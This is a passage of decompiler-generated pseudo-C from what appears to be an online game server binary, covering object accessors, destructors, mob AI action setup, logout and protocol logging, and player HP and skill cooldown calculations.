(004F5140) -------------------------------------------------------- DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass() { return &ShineObjectClass::ShineObject::so_PacketEncrypt; } //----- (004F5150) -------------------------------------------------------- __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp() { return 0i64; } //----- (004F5160) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata() { return &ShineObjectClass::ShineObject::so_defextdata; } //----- (004F5170) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName() { return &ShineObjectClass::ShineObject::so_defname; } //----- (004F5180) -------------------------------------------------------- int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int) { return &ShineObjectClass::ShineObject::so_dummypacketcontainer; } // 610228: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); //----- (004F5190) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ObjectType() { return -1; } //----- (004F51A0) -------------------------------------------------------- __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed() { return 0; } //----- (004F51B0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_LoginLocation() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_LoginLocation", 0); return 0; } //----- (004F51D0) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { return 0; } //----- (004F51E0) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle) { void *sohu; // [sp+0h] [bp-10h]@1 int v4; // [sp+Ch] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); v4 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RemakeHandle", handle); v4 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return -1; } //----- (004F5240) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit() { return &ShineObjectClass::ShineObject::so_defabstatebit; } //----- (004F5250) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itemview", 0); return 0; } //----- (004F5270) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_itempicked() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itempicked", 0); } //----- (004F5290) -------------------------------------------------------- DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_parameter() { return &ShineObjectClass::ShineObject::so_defaultparam; } //----- (004F52A0) -------------------------------------------------------- unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime() { return clockwatch.cw_CurrTick; } //----- (004F52B0) -------------------------------------------------------- CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle() { return &ShineObjectClass::ShineObject::so_DefCharTitle; } //----- (004F52C0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr() { return &ShineObjectClass::ShineObject::so_StatDistStr; } //----- (004F52D0) -------------------------------------------------------- InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList() { return &ShineObjectClass::ShineObject::so_definvlocklist; } //----- (004F52E0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName() { return (int)byte_5A62A6; } //----- (004F52F0) -------------------------------------------------------- struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer() { return &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; } // 124D2544: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (004F5300) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder() { return 255; } //----- (004F5310) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr() { return shineparam.scp_param.freestatStr[0]; } //----- (004F5320) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt() { return shineparam.scp_param.freestatInt[0]; } //----- (004F5330) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex() { return shineparam.scp_param.freestatDex[0]; } //----- (004F5340) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon() { return shineparam.scp_param.freestatCon[0]; } //----- (004F5350) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen() { return shineparam.scp_param.freestatMen[0]; } //----- (004F5360) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable() { return &ShineObjectClass::ShineObject::so_MiscTableDef; } //----- (004F5370) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange() { return 1000; } //----- (004F5390) -------------------------------------------------------- void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this) { if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; } // 601970: using guessed type int g_BroadcastStackPoint; //----- (004F53B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::_ShineDropItem(ShineObjectClass::ShineDropItem *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineDropItem::_vftable_; ShineObjectClass::ShineObject::_ShineObject((int)this); } // 5CCCA8: using guessed type int (*ShineObjectClass__ShineDropItem___vftable_)(); //----- (004F53C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_FillBriefInformation(ShineObjectClass::ShineDropItem *this, void *array) { PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *v2; // eax@1 v2 = this->sdi_ItemBriefInfo.bidi_BriefInfo; *(_DWORD *)array = *(_DWORD *)&v2->handle; *((_DWORD *)array + 1) = v2->location.x; *((_DWORD *)array + 2) = v2->location.y; *((_WORD *)array + 6) = v2->dropmobhandle; *((_BYTE *)array + 14) = v2->attr._bf0; } //----- (004F53F0) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDropItem::so_LoginLocation(ShineObjectClass::ShineDropItem *this) { return &this->sdi_loginloc; } //----- (004F5400) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_RemakeHandle(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle) { ShineObjectClass::ShineDropItem *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 1; } //----- (004F5440) -------------------------------------------------------- ItemTotalInformation *__thiscall ShineObjectClass::ShineDropItem::so_drpitm_itemview(ShineObjectClass::ShineDropItem *this) { return &this->sdi_ItemOnField; } //----- (004F5450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::_ShineEffectObject(ShineObjectClass::ShineEffectObject *this) { int v1; // esi@1 v1 = (int)this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineEffectObject::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->seo_DetachCheck); ShineObjectClass::ShineObject::_ShineObject(v1); } // 5CD718: using guessed type int (*ShineObjectClass__ShineEffectObject___vftable_)(); //----- (004F54B0) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this) { return &this->seo_LoginLoc; } //----- (004F54C0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 3; } //----- (004F5500) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode) { int result; // eax@1 result = *(_DWORD *)(this + 3716); *(_BYTE *)result = mode; return result; } //----- (004F5510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this) { this->stream.baseclass_0.vfptr = (PacketContainerBaseVtbl *)&PacketContainerBase::_vftable_; } // 5CC158: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int sklidx); //----- (004F5520) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this) { CharacterInventory *v1; // esi@1 v1 = (CharacterInventory *)this; InventoryLocking::InventoryCellLockList::_InventoryCellLockList((InventoryLocking::InventoryCellLockList *)((char *)this + 25568)); CharacterInventory::_CharacterInventory(v1); } //----- (004F5570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; MoveManager::MoveManager((DiceTaiSai *)&this->currentmenu); MoveManager::MoveManager((DiceTaiSai *)&v1->servermenuactor); MoveManager::MoveManager((DiceTaiSai *)&v1->duplicatemenustate); } //----- (004F55D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->duplicatemenustate); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->servermenuactor); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->currentmenu); } //----- (004F5630) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this) { ItemAccountStorage::_ItemAccountStorage(&this->storage); } //----- (004F5640) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this) { ShineObjectClass::ShinePlayer::BoothSell *v1; // esi@1 v1 = this; StreetBoothBuy::_StreetBoothBuy(&this->boardbuy); StreetBoothSell::_StreetBoothSell(&v1->boardsell); } //----- (004F56A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this) { CChargedItem::Clear(&this->inven); } //----- (004F56B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMagicField::_ShineMagicField(ShineObjectClass::ShineMagicField *this) { int v1; // esi@1 v1 = (int)this; *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineMagicField::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->smfm_Tick); ShineObjectClass::ShineObject::_ShineObject(v1); } // 5CE188: using guessed type int (*ShineObjectClass__ShineMagicField___vftable_)(); //----- (004F5710) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this) { return &ShineObjectClass::ShineMagicField::m_RTTI; } //----- (004F5720) -------------------------------------------------------- #error "4F5720: undefined or illegal type '#325' (funcsize=16)" //----- (004F5750) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField *this, unsigned __int16 handle) { ShineObjectClass::ShineMagicField *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 7; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 7; } //----- (004F5780) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::ItemFurnicherBox(&this->FurnitureInven); ItemFurnicherBox::ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::ItemFurnicherBox(&v1->MiniGameInven); } //----- (004F57F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::_ItemFurnicherBox(&this->MiniGameInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->FurnitureInven); } //----- (004F5860) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::Actor(MobTacticElement::MobActionArgument::Actor *this) { MobTacticElement::MobActionArgument::Actor *v1; // esi@1 v1 = this; MobTacticElement::MobActionInMove::MobActionInMove(&this->inmove); MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(&v1->inmove_cancelable); MobTacticElement::MobActionInChase::MobActionInChase(&v1->inmove_chase); MobTacticElement::MobActionWander::MobActionWander(&v1->wander); MobTacticElement::MobActionAttack::MobActionAttack(&v1->attack); MobTacticElement::MobActionChase::MobActionChase(&v1->chase); MobTacticElement::MobActionBackStep::MobActionBackStep(&v1->backstep); MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(&v1->avoidoverlap); MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(&v1->waitskillend); MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(&v1->swingdamage); MobTacticElement::MobActionTurning::MobActionTurning(&v1->turning); } //----- (004F5920) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this) { MobTacticElement::MobActionArgument::Actor *v1; // esi@1 v1 = this; MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&this->turning); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->swingdamage); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->waitskillend); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->avoidoverlap); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->backstep); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->attack); MobTacticElement::MobActionWander::_MobActionWander(&v1->wander); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_cancelable); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)v1); } //----- (004F5A00) -------------------------------------------------------- void *__thiscall MobTargetAggresiveNoLevel::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F5A20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineAxialFlag::so_BroadcastLogout", 0); } //----- (004F5A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS) { unsigned __int8 v4; // al@1 v4 = (*(int (**)(void))(*(_DWORD *)this + 1212))(); AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_Disconnect", v4); } //----- (004F5A60) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x121u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDropItem::_ShineDropItem); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDropItem::_ShineDropItem(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F5AC0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xD1u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineEffectObject::_ShineEffectObject); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineEffectObject::_ShineEffectObject(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F5B20) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xB8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMagicField::_ShineMagicField); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMagicField::_ShineMagicField(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F5B80) -------------------------------------------------------- int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_WORD *)(this + 48) = *(_WORD *)(a2 + 48); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_DWORD *)(this + 78) = *(_DWORD *)(a2 + 78); *(_DWORD *)(this + 82) = *(_DWORD *)(a2 + 82); *(_WORD *)(this + 86) = *(_WORD *)(a2 + 86); *(_DWORD *)(this + 88) = *(_DWORD *)(a2 + 88); *(_DWORD *)(this + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(this + 100) = *(_DWORD *)(a2 + 100); *(_DWORD *)(this + 104) = *(_DWORD *)(a2 + 104); *(_DWORD *)(this + 108) = *(_DWORD *)(a2 + 108); return result; } //----- (004F5C50) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1836))("Error in KeepFromChat"); } //----- (004F5C70) -------------------------------------------------------- int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1836))("Success to silence"); } //----- (004F5C90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag) { void *v2; // esi@1 int v3; // ecx@3 int v4; // eax@4 int v5; // eax@7 unsigned __int16 v6; // di@7 int v7; // ST38_4@7 int v8; // ST30_4@7 char *v9; // ST28_4@7 int v10; // ST20_4@7 int v11; // ST18_4@7 Name4 *v12; // eax@7 char *v13; // ST08_4@7 DebugLogging *v14; // eax@7 DebugLogging *v15; // eax@7 DebugLogging *v16; // eax@7 DebugLogging *v17; // eax@7 DebugLogging *v18; // eax@7 DebugLogging *v19; // eax@7 DebugLogging *v20; // eax@7 DebugLogging *v21; // eax@7 DebugLogging *v22; // eax@7 DebugLogging *v23; // eax@7 DebugLogging *v24; // eax@7 DebugLogging *v25; // eax@7 DebugLogging *v26; // eax@7 DebugLogging *v27; // eax@7 DebugLogging *v28; // eax@7 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) != 3 ) { v3 = *(_DWORD *)((char *)v2 + 98); if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); if ( v4 ) { if ( *(_BYTE *)(v4 + 54) ) { v5 = *(_DWORD *)((char *)v2 + 78); v6 = *((_WORD *)v2 + 2); v7 = *(_DWORD *)(v5 + 4); v8 = *(_DWORD *)v5; v9 = NameString::operator__(&namestring, (Name3 *)v3); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 840))(v2); v12 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v13 = NameString::operator__(&namestring, v12); v14 = DebugLogging::operator<<(&KQLogoutLog, flag); v15 = DebugLogging::operator<<(v14, (char *)&stru_5B4DD8); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)"["); v18 = DebugLogging::operator<<(v17, v6); v19 = DebugLogging::operator<<(v18, (char *)&stru_5AB5B0); v20 = DebugLogging::operator<<(v19, v11); v21 = DebugLogging::operator<<(v20, (char *)&stru_5AB5B0); v22 = DebugLogging::operator<<(v21, v10); v23 = DebugLogging::operator<<(v22, (char *)&stru_5A8D60); v24 = DebugLogging::operator<<(v23, v9); v25 = DebugLogging::operator<<(v24, (char *)&stru_5AB5B0); v26 = DebugLogging::operator<<(v25, v8); v27 = DebugLogging::operator<<(v26, (char *)&stru_5AB5B0); v28 = DebugLogging::operator<<(v27, v7); DebugLogging::operator<<(v28, &deb_LF); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LogoutLog : NULLOp", 0); } } } } } //----- (004F5DE0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord() { return &ShineObjectClass::ShineObject::so_TempLocation; } //----- (004F5DF0) -------------------------------------------------------- SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this) { return &this->safm_DefaultCoord; } //----- (004F5E00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule) { int result; // eax@1 result = pCurRule; *(_DWORD *)(this + 7364) = pCurRule; return result; } //----- (004F5E10) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this) { DebugLogging *v1; // edi@2 _iobuf *v2; // eax@4 DebugLogging *v3; // edi@6 _iobuf *v4; // eax@8 DebugLogging *v5; // edi@10 _iobuf *v6; // eax@12 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 DebugLogging *v9; // edi@18 _iobuf *v10; // eax@20 _iobuf *v11; // eax@25 char k; // [sp+7h] [bp-5h]@1 ProtocolLogger *v13; // [sp+8h] [bp-4h]@1 v13 = this; for ( k = this->pl_Pointer; (unsigned __int8)k < (unsigned int)v13->pl_Pointer + 16; ++k ) { v1 = DebugLogging::operator<<(&EldLocateLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v1->dl_Activ ) { DebugLogging::dl_FilePoint(v1); v2 = v1->dl_FilePointer; if ( v2 ) fprintf(v2, "%d"); } } v3 = DebugLogging::operator<<(v1, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { if ( v9->dl_FilePointer ) { v11 = DebugLogging::dl_FilePoint(v9); fputc(10, v11); fflush(v9->dl_FilePointer); fclose(v9->dl_FilePointer); v9->dl_FilePointer = 0; } } } } } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F6030) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_GetNextSkillID(int this) { return *(_WORD *)(this + 7572); } //----- (004F6040) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::sm_SetNextSkillID(int this, __int16 skillid) { __int16 result; // ax@1 result = skillid; *(_WORD *)(this + 7572) = skillid; return result; } //----- (004F6050) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_JustAttackedFlagSet(int this) { *(_BYTE *)(this + 8808) |= 8u; } //----- (004F6060) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxHP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // edi@1 int v5; // eax@1 int v6; // edx@1 int v7; // edi@1 int v8; // eax@2 MobDataBox::MobDataBoxIndex *v9; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 32))(v2, v1, (char *)v1 + 6888); v4 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1120))(v1) + 5) + v3; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 932) = v4 * (*(_DWORD *)(v5 + 2444) + *((_WORD *)v1 + 45855) - 1000) / 1000; v7 = (*(int (__thiscall **)(void *))(v6 + 1052))(v1); *((_DWORD *)v1 + 932) += *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1) + 332) + *(_DWORD *)(v7 + 2252); if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1) + 3092) != -1 ) { v8 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1); v9 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v8 + 3092)); if ( v9 ) *((_DWORD *)v1 + 932) = v9->data->MaxHP; } return *((_DWORD *)v1 + 932); } //----- (004F6150) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::smo_ply_SkillCoolTime(int this, int skill, int cooltime_milli, int delaygroupnum, int delaygroupcooltime_milli, int empowdiscount) { int v6; // edi@1 unsigned int result; // eax@2 unsigned int v8; // esi@3 unsigned int v9; // eax@3 v6 = this; if ( ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(this) ) { result = (*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v6 + 884))(v6, skill, 0); } else { v8 = cooltime_milli * 